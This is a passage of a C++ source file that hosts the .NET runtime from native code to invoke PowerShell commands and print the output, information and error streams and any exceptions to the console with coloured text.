SafeArrayDestroy(pAddScriptArguments); 311 | 312 | if (pAddScriptMethodInfo) pAddScriptMethodInfo->Release(); 313 | if (pPowerShellType) pPowerShellType->Release(); 314 | 315 | VariantClear(&vtScript); 316 | VariantClear(&vtResult); 317 | 318 | return bResult; 319 | } 320 | 321 | BOOL PowerShellAddCommand(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, LPCWSTR pwszCommand) 322 | { 323 | BOOL bResult = FALSE; 324 | LONG lArgumentIndex; 325 | VARIANT vtCommand = { 0 }; 326 | VARIANT vtUseLocalScope = { 0 }; 327 | VARIANT vtResult = { 0 }; 328 | SAFEARRAY* pAddCommandArguments = NULL; 329 | mscorlib::_Type* pPowerShellType = NULL; 330 | mscorlib::_MethodInfo* pAddCommandMethodInfo = NULL; 331 | 332 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType)) 333 | goto exit; 334 | 335 | if (!clr::GetMethod(pPowerShellType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"AddCommand", 2, &pAddCommandMethodInfo)) 336 | goto exit; 337 | 338 | InitVariantFromString(pwszCommand, &vtCommand); 339 | InitVariantFromBoolean(FALSE, &vtUseLocalScope); 340 | 341 | pAddCommandArguments = SafeArrayCreateVector(VT_VARIANT, 0, 2); 342 | 343 | lArgumentIndex = 0; 344 | SafeArrayPutElement(pAddCommandArguments, &lArgumentIndex, &vtCommand); 345 | lArgumentIndex = 1; 346 | SafeArrayPutElement(pAddCommandArguments, &lArgumentIndex, &vtUseLocalScope); 347 | 348 | if (!clr::InvokeMethod(pAddCommandMethodInfo, vtPowerShellInstance, pAddCommandArguments, &vtResult)) 349 | goto exit; 350 | 351 | bResult = TRUE; 352 | 353 | exit: 354 | if (pAddCommandArguments) SafeArrayDestroy(pAddCommandArguments); 355 | if (pAddCommandMethodInfo) pAddCommandMethodInfo->Release(); 356 | if (pPowerShellType) pPowerShellType->Release(); 357 | 358 | VariantClear(&vtCommand); 359 | VariantClear(&vtResult); 360 | 361 | return bResult; 362 | } 363 | 364 | BOOL PowerShellInvoke(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, VARIANT* pvtInvokeResult) 365 | { 366 | BOOL bResult = FALSE; 367 | VARIANT vtInvokeResult = { 0 }; 368 | mscorlib::_Type* pPowerShellType = NULL; 369 | mscorlib::_MethodInfo* pInvokeMethodInfo = NULL; 370 | 371 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType)) 372 | goto exit; 373 | 374 | if (!clr::GetMethod(pPowerShellType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"Invoke", 0, &pInvokeMethodInfo)) 375 | goto exit; 376 | 377 | if (!clr::InvokeMethod(pInvokeMethodInfo, vtPowerShellInstance, NULL, &vtInvokeResult)) 378 | goto exit; 379 | 380 | memcpy_s(pvtInvokeResult, sizeof(*pvtInvokeResult), &vtInvokeResult, sizeof(vtInvokeResult)); 381 | bResult = TRUE; 382 | 383 | exit: 384 | if (pInvokeMethodInfo) pInvokeMethodInfo->Release(); 385 | if (pPowerShellType) pPowerShellType->Release(); 386 | 387 | return bResult; 388 | } 389 | 390 | BOOL PowerShellGetStream(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, LPCWSTR pwszStreamName, VARIANT* pvtStream) 391 | { 392 | BOOL bResult = FALSE; 393 | VARIANT vtStreams = { 0 }; 394 | VARIANT vtStream = { 0 }; 395 | mscorlib::_Type* pPowerShellType = NULL; 396 | mscorlib::_Type* pPSDataStreamsType = NULL; 397 | 398 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType)) 399 | goto exit; 400 | 401 | if (!clr::GetPropertyValue(pPowerShellType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), vtPowerShellInstance, L"Streams", &vtStreams)) 402 | goto exit; 403 | 404 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PSDataStreams", &pPSDataStreamsType)) 405 | goto exit; 406 | 407 | if (!clr::GetPropertyValue(pPSDataStreamsType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), vtStreams, pwszStreamName, &vtStream)) 408 | goto exit; 409 | 410 | memcpy_s(pvtStream, sizeof(*pvtStream), &vtStream, sizeof(vtStream)); 411 | bResult = TRUE; 412 | 413 | exit: 414 | if (pPSDataStreamsType) pPSDataStreamsType->Release(); 415 | if (pPowerShellType) pPowerShellType->Release(); 416 | 417 | VariantClear(&vtStreams); 418 | 419 | return bResult; 420 | } 421 | 422 | BOOL PowerShellHadErrors(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance, PBOOL pbHadErrors) 423 | { 424 | BOOL bResult = FALSE; 425 | VARIANT vtHadErrors = { 0 }; 426 | mscorlib::_Type* pPowerShellType = NULL; 427 | 428 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType)) 429 | goto exit; 430 | 431 | if (!clr::GetPropertyValue(pPowerShellType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), vtPowerShellInstance, L"HadErrors", &vtHadErrors)) 432 | goto exit; 433 | 434 | *pbHadErrors = vtHadErrors.boolVal; 435 | bResult = TRUE; 436 | 437 | exit: 438 | if (pPowerShellType) pPowerShellType->Release(); 439 | 440 | return bResult; 441 | } 442 | 443 | void PrintPowerShellInvokeResult(mscorlib::_AppDomain* pAppDomain, VARIANT vtInvokeResult) 444 | { 445 | LONG lArgumentIndex; 446 | VARIANT vtInvokeResultType = { 0 }; 447 | VARIANT vtInvokeResultCountProperty = { 0 }; 448 | VARIANT vtInvokeResultCount = { 0 }; 449 | VARIANT vtIndex = { 0 }; 450 | VARIANT vtItemProperty = { 0 }; 451 | VARIANT vtValue = { 0 }; 452 | VARIANT vtValueAsString = { 0 }; 453 | SAFEARRAY* pIndex = NULL; 454 | mscorlib::_Type* pPSObjectType = NULL; 455 | mscorlib::_MethodInfo* pToStringMethodInfo = NULL; 456 | 457 | if (!dotnet::System_Object_GetType(pAppDomain, vtInvokeResult, &vtInvokeResultType)) 458 | goto exit; 459 | 460 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtInvokeResultType, L"Count", &vtInvokeResultCountProperty)) 461 | goto exit; 462 | 463 | if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtInvokeResultCountProperty, vtInvokeResult, &vtInvokeResultCount)) 464 | goto exit; 465 | 466 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtInvokeResultType, L"Item", &vtItemProperty)) 467 | goto exit; 468 | 469 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PSObject", &pPSObjectType)) 470 | goto exit; 471 | 472 | if (!clr::GetMethod(pPSObjectType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"ToString", 0, &pToStringMethodInfo)) 473 | goto exit; 474 | 475 | if (vtInvokeResultCount.lVal > 0) 476 | { 477 | wprintf(L"\n"); 478 | wprintf(L"+-----------------------------------+\n"); 479 | wprintf(L"| POWERSHELL STANDARD OUTPUT STREAM |\n"); 480 | wprintf(L"+-----------------------------------+\n"); 481 | 482 | for (int i = 0; i < vtInvokeResultCount.lVal; i++) 483 | { 484 | InitVariantFromInt32(i, &vtIndex); 485 | pIndex = SafeArrayCreateVector(VT_VARIANT, 0, 1); 486 | lArgumentIndex = 0; 487 | SafeArrayPutElement(pIndex, &lArgumentIndex, &vtIndex); 488 | 489 | if (dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtItemProperty, vtInvokeResult, pIndex, &vtValue)) 490 | { 491 | if (clr::InvokeMethod(pToStringMethodInfo, vtValue, NULL, &vtValueAsString)) 492 | { 493 | wprintf(L"%ws", vtValueAsString.bstrVal); 494 | VariantClear(&vtValueAsString); 495 | } 496 | 497 | VariantClear(&vtValue); 498 | } 499 | 500 | SafeArrayDestroy(pIndex); 501 | } 502 | } 503 | 504 | exit: 505 | if (pToStringMethodInfo) pToStringMethodInfo->Release(); 506 | if (pPSObjectType) pPSObjectType->Release(); 507 | 508 | VariantClear(&vtItemProperty); 509 | VariantClear(&vtInvokeResultCountProperty); 510 | VariantClear(&vtInvokeResultType); 511 | 512 | return; 513 | } 514 | 515 | void PrintPowerShellInvokeInformation(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance) 516 | { 517 | VARIANT vtInformationStream = { 0 }; 518 | 519 | if (!PowerShellGetStream(pAppDomain, vtPowerShellInstance, L"Information", &vtInformationStream)) 520 | goto exit; 521 | 522 | if (vtInformationStream.vt != VT_EMPTY) 523 | { 524 | PrintPowerShellInformationStream(pAppDomain, vtInformationStream); 525 | } 526 | 527 | exit: 528 | VariantClear(&vtInformationStream); 529 | 530 | return; 531 | } 532 | 533 | void PrintPowerShellInvokeErrors(mscorlib::_AppDomain* pAppDomain, VARIANT vtPowerShellInstance) 534 | { 535 | VARIANT vtErrorStream = { 0 }; 536 | VARIANT vtInvocationStateInfo = { 0 }; 537 | VARIANT vtReason = { 0 }; 538 | mscorlib::_Type* pPowerShellType = NULL; 539 | mscorlib::_Type* pPSDataStreamsType = NULL; 540 | mscorlib::_Type* pPSInvocationStateInfoType = NULL; 541 | 542 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PowerShell", &pPowerShellType)) 543 | goto exit; 544 | 545 | if (!PowerShellGetStream(pAppDomain, vtPowerShellInstance, L"Error", &vtErrorStream)) 546 | goto exit; 547 | 548 | if (vtErrorStream.vt != VT_EMPTY) 549 | { 550 | PrintPowerShellErrorStream(pAppDomain, vtErrorStream); 551 | } 552 | 553 | if (!clr::GetPropertyValue(pPowerShellType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), vtPowerShellInstance, L"InvocationStateInfo", &vtInvocationStateInfo)) 554 | goto exit; 555 | 556 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.PSInvocationStateInfo", &pPSInvocationStateInfoType)) 557 | goto exit; 558 | 559 | if (!clr::GetPropertyValue(pPSInvocationStateInfoType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), vtInvocationStateInfo, L"Reason", &vtReason)) 560 | goto exit; 561 | 562 | if (vtReason.vt != VT_EMPTY) 563 | { 564 | PrintPowerShellInvocationStateInfoReason(pAppDomain, vtReason); 565 | } 566 | 567 | exit: 568 | if (pPSInvocationStateInfoType) pPSInvocationStateInfoType->Release(); 569 | if (pPSDataStreamsType) pPSDataStreamsType->Release(); 570 | if (pPowerShellType) pPowerShellType->Release(); 571 | 572 | VariantClear(&vtReason); 573 | VariantClear(&vtInvocationStateInfo); 574 | VariantClear(&vtErrorStream); 575 | 576 | return; 577 | } 578 | 579 | void PrintInformationRecord(mscorlib::_AppDomain* pAppDomain, VARIANT vtInformationRecord) 580 | { 581 | VARIANT vtInformationRecordAsString = { 0 }; 582 | mscorlib::_Type* pInformationRecordType = NULL; 583 | mscorlib::_MethodInfo* pToStringMethodInfo = NULL; 584 | 585 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.InformationRecord", &pInformationRecordType)) 586 | goto exit; 587 | 588 | if (!clr::GetMethod(pInformationRecordType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"ToString", 0, &pToStringMethodInfo)) 589 | goto exit; 590 | 591 | if (!clr::InvokeMethod(pToStringMethodInfo, vtInformationRecord, NULL, &vtInformationRecordAsString)) 592 | goto exit; 593 | 594 | wprintf(L"%ws\n", vtInformationRecordAsString.bstrVal); 595 | 596 | exit: 597 | if (pToStringMethodInfo) pToStringMethodInfo->Release(); 598 | if (pInformationRecordType) pInformationRecordType->Release(); 599 | 600 | VariantClear(&vtInformationRecordAsString); 601 | 602 | return; 603 | } 604 | 605 | void PrintErrorRecord(mscorlib::_AppDomain* pAppDomain, VARIANT vtErrorRecord) 606 | { 607 | WORD wOldColor = 0; 608 | size_t sScriptStackTraceLen; 609 | VARIANT vtErrorRecordType = { 0 }; 610 | VARIANT vtTargetObjectProperty = { 0 }; 611 | VARIANT vtTargetObject = { 0 }; 612 | VARIANT vtScriptStackTraceProperty = { 0 }; 613 | VARIANT vtScriptStackTrace = { 0 }; 614 | VARIANT vtCategoryInfoProperty = { 0 }; 615 | VARIANT vtCategoryInfo = { 0 }; 616 | VARIANT vtCategoryInfoMessage = { 0 }; 617 | VARIANT vtFullyQualifiedErrorIdProperty = { 0 }; 618 | VARIANT vtFullyQualifiedErrorId = { 0 }; 619 | VARIANT vtExceptionProperty = { 0 }; 620 | VARIANT vtException = { 0 }; 621 | VARIANT vtExceptionType = { 0 }; 622 | VARIANT vtExceptionMessageProperty = { 0 }; 623 | VARIANT vtExceptionMessage = { 0 }; 624 | mscorlib::_Type* pErrorCategoryInfoType = NULL; 625 | mscorlib::_MethodInfo* pErrorCategoryInfoGetMessageMethodInfo = NULL; 626 | 627 | if (!dotnet::System_Object_GetType(pAppDomain, vtErrorRecord, &vtErrorRecordType)) 628 | goto exit; 629 | 630 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtErrorRecordType, L"TargetObject", &vtTargetObjectProperty)) 631 | goto exit; 632 | 633 | if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtTargetObjectProperty, vtErrorRecord, &vtTargetObject)) 634 | goto exit; 635 | 636 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtErrorRecordType, L"ScriptStackTrace", &vtScriptStackTraceProperty)) 637 | goto exit; 638 | 639 | if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtScriptStackTraceProperty, vtErrorRecord, &vtScriptStackTrace)) 640 | goto exit; 641 | 642 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtErrorRecordType, L"CategoryInfo", &vtCategoryInfoProperty)) 643 | goto exit; 644 | 645 | if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtCategoryInfoProperty, vtErrorRecord, &vtCategoryInfo)) 646 | goto exit; 647 | 648 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.ErrorCategoryInfo", &pErrorCategoryInfoType)) 649 | goto exit; 650 | 651 | if (!clr::GetMethod(pErrorCategoryInfoType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"GetMessage", 0, &pErrorCategoryInfoGetMessageMethodInfo)) 652 | goto exit; 653 | 654 | if (!clr::InvokeMethod(pErrorCategoryInfoGetMessageMethodInfo, vtCategoryInfo, NULL, &vtCategoryInfoMessage)) 655 | goto exit; 656 | 657 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtErrorRecordType, L"FullyQualifiedErrorId", &vtFullyQualifiedErrorIdProperty)) 658 | goto exit; 659 | 660 | if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtFullyQualifiedErrorIdProperty, vtErrorRecord, &vtFullyQualifiedErrorId)) 661 | goto exit; 662 | 663 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtErrorRecordType, L"Exception", &vtExceptionProperty)) 664 | goto exit; 665 | 666 | if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtExceptionProperty, vtErrorRecord, &vtException)) 667 | goto exit; 668 | 669 | if (!dotnet::System_Object_GetType(pAppDomain, vtException, &vtExceptionType)) 670 | goto exit; 671 | 672 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtExceptionType, L"Message", &vtExceptionMessageProperty)) 673 | goto exit; 674 | 675 | if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtExceptionMessageProperty, vtException, &vtExceptionMessage)) 676 | goto exit; 677 | 678 | SetConsoleTextColor(FOREGROUND_RED | FOREGROUND_INTENSITY, &wOldColor); 679 | 680 | if (vtTargetObject.vt == VT_BSTR && vtExceptionMessage.vt == VT_BSTR) 681 | { 682 | wprintf(L"%ws : %ws\n", vtTargetObject.bstrVal, vtExceptionMessage.bstrVal); 683 | } 684 | else if (vtTargetObject.vt != VT_BSTR && vtExceptionMessage.vt == VT_BSTR) 685 | { 686 | wprintf(L". : %ws\n", vtExceptionMessage.bstrVal); 687 | } 688 | 689 | if (vtScriptStackTrace.vt == VT_BSTR) 690 | { 691 | wprintf(L"%ws\n", vtScriptStackTrace.bstrVal); 692 | } 693 | 694 | if (vtTargetObject.vt != VT_EMPTY) 695 | { 696 | sScriptStackTraceLen = wcslen(vtTargetObject.bstrVal); 697 | wprintf(L"+ %ws\n", vtTargetObject.bstrVal); 698 | wprintf(L"+ "); 699 | for (int i = 0; i < sScriptStackTraceLen; i++) { wprintf(L"%ws", L"~"); } 700 | wprintf(L"\n"); 701 | } 702 | 703 | if (vtCategoryInfoMessage.vt == VT_BSTR) 704 | { 705 | wprintf(L" + CategoryInfo : %ws\n", vtCategoryInfoMessage.bstrVal); 706 | } 707 | 708 | if (vtFullyQualifiedErrorId.vt == VT_BSTR) 709 | { 710 | wprintf(L" + FullyQualifiedErrorId : %ws\n", vtFullyQualifiedErrorId.bstrVal); 711 | } 712 | 713 | if (wOldColor != 0) 714 | { 715 | SetConsoleTextColor(wOldColor, NULL); 716 | } 717 | 718 | wprintf(L"\n"); 719 | 720 | exit: 721 | if (pErrorCategoryInfoGetMessageMethodInfo) pErrorCategoryInfoGetMessageMethodInfo->Release(); 722 | if (pErrorCategoryInfoType) pErrorCategoryInfoType->Release(); 723 | 724 | VariantClear(&vtExceptionMessage); 725 | VariantClear(&vtExceptionMessageProperty); 726 | VariantClear(&vtExceptionType); 727 | VariantClear(&vtException); 728 | VariantClear(&vtExceptionProperty); 729 | VariantClear(&vtFullyQualifiedErrorId); 730 | VariantClear(&vtFullyQualifiedErrorIdProperty); 731 | VariantClear(&vtCategoryInfoMessage); 732 | VariantClear(&vtCategoryInfo); 733 | VariantClear(&vtCategoryInfoProperty); 734 | VariantClear(&vtScriptStackTrace); 735 | VariantClear(&vtScriptStackTraceProperty); 736 | VariantClear(&vtTargetObject); 737 | VariantClear(&vtTargetObjectProperty); 738 | VariantClear(&vtErrorRecordType); 739 | 740 | return; 741 | } 742 | 743 | void PrintPowerShellInformationStream(mscorlib::_AppDomain* pAppDomain, VARIANT vtInformationStream) 744 | { 745 | LONG lArgumentIndex; 746 | VARIANT vtInformationStreamType = { 0 }; 747 | VARIANT vtInformationStreamCountProperty = { 0 }; 748 | VARIANT vtInformationStreamCount = { 0 }; 749 | VARIANT vtInformationStreamItemProperty = { 0 }; 750 | VARIANT vtIndex = { 0 }; 751 | VARIANT vtInformationRecord = { 0 }; 752 | SAFEARRAY* pIndex = NULL; 753 | 754 | if (!dotnet::System_Object_GetType(pAppDomain, vtInformationStream, &vtInformationStreamType)) 755 | goto exit; 756 | 757 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtInformationStreamType, L"Count", &vtInformationStreamCountProperty)) 758 | goto exit; 759 | 760 | if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtInformationStreamCountProperty, vtInformationStream, &vtInformationStreamCount)) 761 | goto exit; 762 | 763 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtInformationStreamType, L"Item", &vtInformationStreamItemProperty)) 764 | goto exit; 765 | 766 | if (vtInformationStreamCount.lVal > 0) 767 | { 768 | //PRINT_INFO("One or more messages were printed while executing the input script (message count: %d).\n", vtInformationStreamCount.lVal); 769 | wprintf(L"\n"); 770 | wprintf(L"+-------------------------------+\n"); 771 | wprintf(L"| POWERSHELL INFORMATION STREAM |\n"); 772 | wprintf(L"+-------------------------------+\n"); 773 | 774 | for (int i = 0; i < vtInformationStreamCount.lVal; i++) 775 | { 776 | InitVariantFromInt32(i, &vtIndex); 777 | pIndex = SafeArrayCreateVector(VT_VARIANT, 0, 1); 778 | lArgumentIndex = 0; 779 | SafeArrayPutElement(pIndex, &lArgumentIndex, &vtIndex); 780 | 781 | if (dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtInformationStreamItemProperty, vtInformationStream, pIndex, &vtInformationRecord)) 782 | { 783 | PrintInformationRecord(pAppDomain, vtInformationRecord); 784 | VariantClear(&vtInformationRecord); 785 | } 786 | 787 | SafeArrayDestroy(pIndex); 788 | } 789 | } 790 | 791 | exit: 792 | VariantClear(&vtInformationStreamItemProperty); 793 | VariantClear(&vtInformationStreamCountProperty); 794 | VariantClear(&vtInformationStreamType); 795 | 796 | return; 797 | } 798 | 799 | // 800 | // In PowerShell, non-terminating errors are stored in the attribute 801 | // PowerShell.Streams.Error, which is a collection of ErrorRecord objects. 802 | // Each ErrorRecord contains detailed information, such as an exception, 803 | // and a stak trace. 804 | // 805 | void PrintPowerShellErrorStream(mscorlib::_AppDomain* pAppDomain, VARIANT vtErrorStream) 806 | { 807 | LONG lArgumentIndex; 808 | VARIANT vtPSDataCollectionType = { 0 }; 809 | VARIANT vtPSDataCollectionCountProperty = { 0 }; 810 | VARIANT vtErrorStreamCount = { 0 }; 811 | VARIANT vtPSDataCollectionItemProperty = { 0 }; 812 | VARIANT vtIndex = { 0 }; 813 | VARIANT vtErrorRecord = { 0 }; 814 | SAFEARRAY* pIndex = NULL; 815 | mscorlib::_Type* pErrorRecordType = NULL; 816 | mscorlib::_MethodInfo* pToStringMethodInfo = NULL; 817 | 818 | if (!dotnet::System_Object_GetType(pAppDomain, vtErrorStream, &vtPSDataCollectionType)) 819 | goto exit; 820 | 821 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtPSDataCollectionType, L"Count", &vtPSDataCollectionCountProperty)) 822 | goto exit; 823 | 824 | if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtPSDataCollectionCountProperty, vtErrorStream, &vtErrorStreamCount)) 825 | goto exit; 826 | 827 | if (!dotnet::System_Type_GetProperty(pAppDomain, vtPSDataCollectionType, L"Item", &vtPSDataCollectionItemProperty)) 828 | goto exit; 829 | 830 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.ErrorRecord", &pErrorRecordType)) 831 | goto exit; 832 | 833 | if (!clr::GetMethod(pErrorRecordType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"ToString", 0, &pToStringMethodInfo)) 834 | goto exit; 835 | 836 | if (vtErrorStreamCount.lVal > 0) 837 | { 838 | wprintf(L"\n"); 839 | wprintf(L"+----------------------------------+\n"); 840 | wprintf(L"| POWERSHELL STANDARD ERROR STREAM |\n"); 841 | wprintf(L"+----------------------------------+\n"); 842 | 843 | for (int i = 0; i < vtErrorStreamCount.lVal; i++) 844 | { 845 | InitVariantFromInt32(i, &vtIndex); 846 | pIndex = SafeArrayCreateVector(VT_VARIANT, 0, 1); 847 | lArgumentIndex = 0; 848 | SafeArrayPutElement(pIndex, &lArgumentIndex, &vtIndex); 849 | 850 | if (dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtPSDataCollectionItemProperty, vtErrorStream, pIndex, &vtErrorRecord)) 851 | { 852 | PrintErrorRecord(pAppDomain, vtErrorRecord); 853 | VariantClear(&vtErrorRecord); 854 | } 855 | 856 | SafeArrayDestroy(pIndex); 857 | } 858 | } 859 | 860 | exit: 861 | if (pToStringMethodInfo) pToStringMethodInfo->Release(); 862 | if (pErrorRecordType) pErrorRecordType->Release(); 863 | 864 | VariantClear(&vtPSDataCollectionType); 865 | VariantClear(&vtPSDataCollectionCountProperty); 866 | VariantClear(&vtPSDataCollectionItemProperty); 867 | 868 | return; 869 | } 870 | 871 | void PrintPowerShellInvocationStateInfoReason(mscorlib::_AppDomain* pAppDomain, VARIANT vtReason) 872 | { 873 | WORD wOldColor = 0; 874 | VARIANT vtExceptionAsString = { 0 }; 875 | mscorlib::_Type* pExceptionType = NULL; 876 | mscorlib::_MethodInfo* pToStringMethod = NULL; 877 | 878 | if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_RUNTIME, L"System.Exception", &pExceptionType)) 879 | goto exit; 880 | 881 | if (!clr::GetMethod(pExceptionType, static_cast(BINDING_FLAGS_PUBLIC_INSTANCE), L"ToString", 0, &pToStringMethod)) 882 | goto exit; 883 | 884 | if (!clr::InvokeMethod(pToStringMethod, vtReason, NULL, &vtExceptionAsString)) 885 | goto exit; 886 | 887 | if (vtExceptionAsString.vt == VT_BSTR && wcslen(vtExceptionAsString.bstrVal) > 0) 888 | { 889 | //PRINT_ERROR("An exception was thrown while executing the input script.\n\n"); 890 | wprintf(L"\n"); 891 | wprintf(L"+-------------------------+\n"); 892 | wprintf(L"| POWERSHELL EXCEPTION(S) |\n"); 893 | wprintf(L"+-------------------------+\n"); 894 | 895 | SetConsoleTextColor(FOREGROUND_RED | FOREGROUND_INTENSITY, &wOldColor); 896 | 897 | wprintf(L"%ws\n\n", vtExceptionAsString.bstrVal); 898 | 899 | if (wOldColor != 0) 900 | { 901 | SetConsoleTextColor(wOldColor, NULL); 902 | } 903 | } 904 | 905 | exit: 906 | if (pToStringMethod) pToStringMethod->Release(); 907 | if (pExceptionType) pExceptionType->Release(); 908 | 909 | VariantClear(&vtExceptionAsString); 910 | 911 | return; 912 | } 913 | 914 | void SetConsoleTextColor(WORD wColor, PWORD pwOldColor) 915 | { 916 | HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); 917 | CONSOLE_SCREEN_BUFFER_INFO csbi = { 0 }; 918 | WORD wAttributes; 919 | 920 | if (!GetConsoleScreenBufferInfo(hStdOut, &csbi)) 921 | return; 922 | 923 | if (pwOldColor) 924 | { 925 | *pwOldColor = csbi.wAttributes & 0x000f; // Extract and save current foreground color 926 | } 927 | 928 | wAttributes = csbi.wAttributes & 0xfff0; // Extract current attributes except foreground color 929 | wAttributes |= wColor & 0x000f; // Apply input foreground color 930 | 931 | SetConsoleTextAttribute(hStdOut, wAttributes); 932 | 933 | return; 934 | } 935 | --------------------------------------------------------------------------------